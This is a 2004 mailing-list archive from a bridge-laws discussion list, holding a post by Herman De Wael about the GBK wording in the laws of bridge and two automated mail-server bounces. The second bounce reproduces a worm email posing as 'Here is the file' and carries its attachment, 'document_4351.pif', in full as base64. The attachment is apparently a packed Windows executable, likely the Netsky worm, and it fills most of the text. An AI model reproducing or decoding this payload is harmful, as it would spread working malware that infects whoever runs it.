From hermandw@hdw.be Sat May 1 09:09:28 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 01 May 2004 10:09:28 +0200 Subject: SV: [blml] Law 75C ambiguity (was Psyches) In-Reply-To: <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> References: <5.2.0.9.0.20040430164359.024b8a80@pop.starpower.net> Message-ID: <40935B38.3010701@hdw.be> Eric Landau wrote: >> ----- >> I think you misunderstood Herman. He's talking about the opponent who's >> asking, not the bidding side's explanation. > > > I did indeed, but the point still stands. Herman concedes above that if > the unrevealed knowledge is genuinely not known to the opponent, it > cannot be considered GBK, so it is still the case that the TD/AC must > determine whether it was in fact known to him, and he (albeit a > different "he" than I originally assumed) can get himself an undeserved > adjustment if he can lie about what he knows convincingly enough. IOW, > if he didn't know it, it's not GBK, so it doesn't matter whether it > would matter if it were. This is just one of the 973 places in TFLB > where an outright liar can find a way to lie himself into better score > than he deserves, and I don't see how the way the law treats GBK, which, > if the lie is accepted, is irrelevant anyhow, matters. > This is all very true, Eric, but totally irrelevant to my point. You are still illustrating the faults about a set of laws which contain the words GBK. My point was illustrating the faults of a set of laws WITHOUT those words, as some have suggested. I agree with you that in the current set of laws, I could get extra points by lying about no knowing what "forcing" means. I don't think the TD will believe me, and I don't agree with you that this is as big a problem as you state. But that was not my original point. My original point was that in that putative set of laws, I don't need to lie and say I don't know what the word "forcing" means. All I have to say was "I am not required by law to know what the word means, and he IS required by law to explain it to me without me even asking, and he did not do that". I don't have to lie, and the fact whether or not I know what forcing means is not even important. Can you see why such a set of laws would not work? The field would be split immediately between folks who would continue to play as they have done for years, and a set of bridge lawyers who would be ostracized after two weeks. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From postmaster@tnsofres.com Sat May 1 17:02:50 2004 From: postmaster@tnsofres.com (postmaster@tnsofres.com) Date: Sat May 01 16:02:50 2004 Subject: [blml] Virus Detected by Network Associates, Inc. Webshield SMTP V4.5 MR1a Message-ID: Virus warning from the Taylor Nelson Sofres Plc Mail system. The message Re: Notify from to contained the W32/Netsky.p@MM virus in the attachment details.txt.pif. This message has been Deleted and Quarantined by webshield running NAI Webshield V4.5 MR1a From Mailer-Daemon@globaltek.alwaysgirls.net Sat May 1 18:07:19 2004 From: Mailer-Daemon@globaltek.alwaysgirls.net (Mail Delivery System) Date: Sat, 01 May 2004 12:07:19 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: broken@actressmodels.com This message has been rejected because it has a potentially executable attachment "document_4351.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.168.10] (helo=actressmodels.com) by globaltek.alwaysgirls.net with esmtp (Exim 4.24) id 1BJxxM-0003b0-Cl for broken@actressmodels.com; Sat, 01 May 2004 12:07:16 -0500 From: blml@rtflb.org To: broken@actressmodels.com Subject: Re: Re: Re: Your document Date: Sat, 1 May 2004 18:07:47 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0009_000035B8.00004766" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: This is a multi-part message in MIME format. ------=_NextPart_000_0009_000035B8.00004766 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Here is the file. ------=_NextPart_000_0009_000035B8.00004766 Content-Type: application/octet-stream; name="document_4351.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_4351.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 